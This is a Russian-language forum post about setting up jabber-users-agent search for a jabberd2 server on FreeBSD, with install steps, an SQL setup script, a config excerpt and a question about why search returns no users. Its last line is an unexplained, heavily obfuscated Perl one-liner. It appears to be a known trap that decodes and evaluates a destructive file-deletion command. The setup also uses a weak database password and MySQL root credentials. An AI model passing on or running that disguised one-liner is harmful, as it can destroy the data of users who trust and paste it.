
Ковыряю с недавнего времени jabber2 server for FreeBSD, конструктор каких еще поискать

.
Вобщем базовые модули работают, а их там, раз, два..... эм
===
# ps -waux | grep jabber
jabber 91346 0.0 0.3 6176 3744 ?? Ss 11:28AM 0:04.38 /usr/local/bin/perl /usr/local/bin/jabberd -b
jabber 91342 0.0 0.2 6972 2608 p0 S 11:28AM 0:00.33 /usr/local/bin/router -c /usr/local/etc/jabberd/router.xml
jabber 91343 0.0 0.3 7836 3604 p0 S 11:28AM 0:00.40 /usr/local/bin/sm -c /usr/local/etc/jabberd/sm.xml
jabber 91344 0.0 0.2 6916 2512 p0 S 11:28AM 0:00.03 /usr/local/bin/s2s -c /usr/local/etc/jabberd/s2s.xml
jabber 91345 0.0 0.2 7496 3080 p0 S 11:28AM 0:00.14 /usr/local/bin/c2s -c /usr/local/etc/jabberd/c2s.xml
===
солянка

Но это оказалось началом, так как базовый функционал не подразумевает многого. Про общий ростер я отписал в соседнем треде, это сделано и это кул. Следующее, в jabber2 напроч по умолчанию отсутвует возможность поиска юзерей. Чтобы ее прикрутить надо поставить
jabber-users-agentПерескажу краткую последовательность действий, авось кому пригодится:
Ставим:
/usr/ports/net-im/jabber-users-agent
#make install clean
После инстала в директории
/usr/local/lib/jabber/users-agent появятся парочка перловый скриптов, один для создания базы, другой для запуска
jabber-users-agent . С созданием базы из перлового скрипта есть проблемы, надо доставлять перловые модули и прочее, поэтому проще создать файло:
DBCreateJUD.sql===
CREATE DATABASE JUD;
GRANT ALL PRIVILEGES ON JUD.* to jud@localhost IDENTIFIED BY 'jud';
CREATE TABLE JUD.jud (jid VARCHAR(100) PRIMARY KEY, name VARCHAR(100),
first VARCHAR(50), last VARCHAR(50),nick VARCHAR(50),
email VARCHAR(50), INDEX ind_name (name), INDEX ind_first (first),
INDEX ind_last (last), INDEX ind_nick (nick),
INDEX ind_email (email));
===
Теперь ставим:
#mysql -u root -p < DBCreateJUD.sqlВсе готово, переходим к редактированию конфига
jabber-users-agent #ee /usr/local/etc/jabber-users-agent.xmlПравим:
<secret>foobar</secret>
foobar меняем на то, что прописано в router.xml в этом же поле.
Дальше меняем параметры подкл к базе Мускул:
===
<mysql>
<dbname>JUD</dbname>
<host>localhost</host>
<port>3306</port>
<username>root</username>
<password>пасс</password>
<limit>250</limit>
</mysql>
Меняем права на этот файл 660, и юзер группа jabber
===
После этого можно стартовать jabber-users-agent, для этого запускаем скрипт
users-agent из
/usr/local/lib/jabber/users-agent===
./users-agentЧтобы в фон:
./users-agent &Вобщем после этого в процессах висит:
===
ps -waux | grep user
root 91454 17.3 0.8 13268 10820 p0 S 11:54AM 0:01.19 /usr/local/bin/perl ./users-agent===
Стало быть работает, далее регим на сервере юзера, настраивал в Psi, смотрим в "Сервисы" и видим что появился "Users-Agent".
ТЕПЕРЬ ПРОБЛЕМА Тыкаем в него, появляется окно поиска, пробуем искать и вот незадача, поиск не выдает список юзерей.
В этом случае, не очень врубаюсь в механизм. Я как понимаю при реге нового юзера инфа о нем появляется в базе мускула jabberd2 и должна заносится в базу JUD для поиска, вот походу не заносится почему то пусто

.
Когда запускаю скрипт
./users-agent конект с базой происходит 100 пудово, в этом скрипте есть отладка параметр
$optctl{debug} = 1;
при запуске в режиме отладки полно различной инфы, которая фиг знает что означает, вывод конечно могу дать...
Кто что думает по этому поводу?
===
п.с.. другие сервера не предагать, т.к. юзаю jabberd 1.4, OpenFire, единственное ejabber не юзал

, но этот уже установлен, работает, в нем куча юзерей и т.д.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'